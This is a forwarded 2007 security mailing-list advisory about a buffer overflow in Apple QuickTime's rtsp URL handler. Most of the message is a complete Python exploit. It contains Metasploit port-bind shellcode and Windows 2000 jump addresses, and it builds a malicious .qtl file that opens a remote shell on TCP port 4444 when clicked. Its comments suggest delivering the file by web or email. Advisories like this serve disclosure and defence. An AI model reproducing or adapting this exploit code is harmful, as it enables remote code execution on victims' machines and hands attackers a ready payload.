[security-alerts] FW: [EXPL] Apple Quicktime rtsp URL Handler Buffer Overflow

["Kazennov, Vladimir" <Vladimir.Kazennov@xxxxxxxxxx>]

> -----Original Message-----
> From: SecuriTeam [mailto:support@xxxxxxxxxxxxxx] 
> Sent: Monday, January 08, 2007 2:34 PM
> To: html-list@xxxxxxxxxxxxxx
> Subject: [EXPL] Apple Quicktime rtsp URL Handler Buffer Overflow
> Apple Quicktime rtsp URL Handler Buffer Overflow 
> 
> 
> 
> A vulnerability within Apple's Quicktime allows remote 
> attackers to use the rtsp URL handler to overflow an internal 
> buffer causing the program to execute arbitrary code. 
> 
> 
> Exploit: 
> #!/usr/bin/python 
> #Port bind exploit for apple quicktime rtsp vulnerability 
> #Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. 
> Should be easy 
> #to port the exploit to others. All one needs to do is look 
> for the appropriate 
> #jump address. Certain characters are not permitted in the shellcode. 
> #Alphanumeric shellcodes work fine. 
> #This script creates a qtl file which when clicked upon binds 
> a shell to TCP 
> #port 4444. This file can be delivered through several means; 
> HTTP, SMTP etc 
> # 
> # Winny Thomas ;-) 
> # Author shall bear no responsibility for any kind of screws 
> up caused by using 
> # this code 
> 
> import sys 
> 
> #alpha numeric port bind shellcode from metasploit; binds 
> shell to port 4444 
> shellcode = 
> "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" 
> shellcode += 
> "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" 
> shellcode += 
> "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" 
> shellcode += 
> "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" 
> shellcode += 
> "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e" 
> shellcode += 
> "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58" 
> shellcode += 
> "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57" 
> shellcode += 
> "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38" 
> shellcode += 
> "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58" 
> shellcode += 
> "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" 
> shellcode += 
> "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" 
> shellcode += 
> "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48" 
> shellcode += 
> "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54" 
> shellcode += 
> "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58" 
> shellcode += 
> "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d" 
> shellcode += 
> "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38" 
> shellcode += 
> "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56" 
> shellcode += 
> "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36" 
> shellcode += 
> "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57" 
> shellcode += 
> "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e" 
> shellcode += 
> "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e" 
> shellcode += 
> "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30" 
> shellcode += 
> "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35" 
> shellcode += 
> "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34" 
> shellcode += 
> "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41" 
> shellcode += 
> "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a" 
> shellcode += 
> "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31" 
> shellcode += 
> "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" 
> shellcode += 
> "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d" 
> shellcode += 
> "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d" 
> shellcode += 
> "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56" 
> shellcode += 
> "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45" 
> shellcode += 
> "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46" 
> shellcode += 
> "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c" 
> shellcode += 
> "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c" 
> shellcode += 
> "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32" 
> shellcode += 
> "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" 
> shellcode += 
> "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f" 
> shellcode += 
> "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36" 
> shellcode += 
> "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" 
> shellcode += 
> "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56" 
> shellcode += 
> "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f" 
> shellcode += 
> "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" 
> shellcode += 
> "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d" 
> shellcode += "\x4f\x4f\x42\x4d\x5a\x90" 
> shellcode += "\x90" * 90 
> 
> 
> def CreateQTL(sp): 
>        if sp == "1": 
>                JMPedi = '\xf5\x0c\xe5\x77' #Address of jmp 
> edi from user32.dll 
>        elif sp == "2": 
>                JMPedi = '\x34\xd9\xe4\x77' #Address of jmp 
> edi from user32.dll 
>        else: 
>                print 'Unsupported Service pack number' 
>                sys.exit(-1) 
> 
>      #XML template from http://www.milw0rm.org/exploits/3064 
>        QTL = "<?xml version=\"1.0\"?>" 
>        QTL += "<?quicktime 
> type=\"application/x-quicktime-media-link\"?>" 
>        QTL += "<embed autoplay=\"true\" moviename=\"#{NEW}\" " 
>        QTL += "qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " 
>        QTL += "src=\"rtsp://" + '\x90'*200 + shellcode + 
> '\x90'*9000 + ':' + '\x90'*811 + JMPedi 
>        QTL += "\" />\n" 
> 
>        fd = open('./exp.qtl', 'w') 
>        fd.write(QTL) 
>        fd.close() 
> 
> if __name__ == '__main__': 
>        try: 
>                sp = sys.argv[1] 
>        except IndexError: 
>                print 'Usage: %s <version number>\n' % sys.argv[0] 
>                print 'Version: 1 => windows 2000 server SP0' 
>                print 'Version: 2 => windows 2000 server SP4' 
>                sys.exit(-1) 
> 
>        CreateQTL(sp) 
> 
> # milw0rm.com [2007-01-03] 
> 
> 
> Additional Information: 
> The information has been provided by WINNY THOMAS 
> <mailto:winnymthomas@xxxxxxxxx> . 
> The original article can be found at: 
> http://www.milw0rm.com/exploits/3072 
> 
> 
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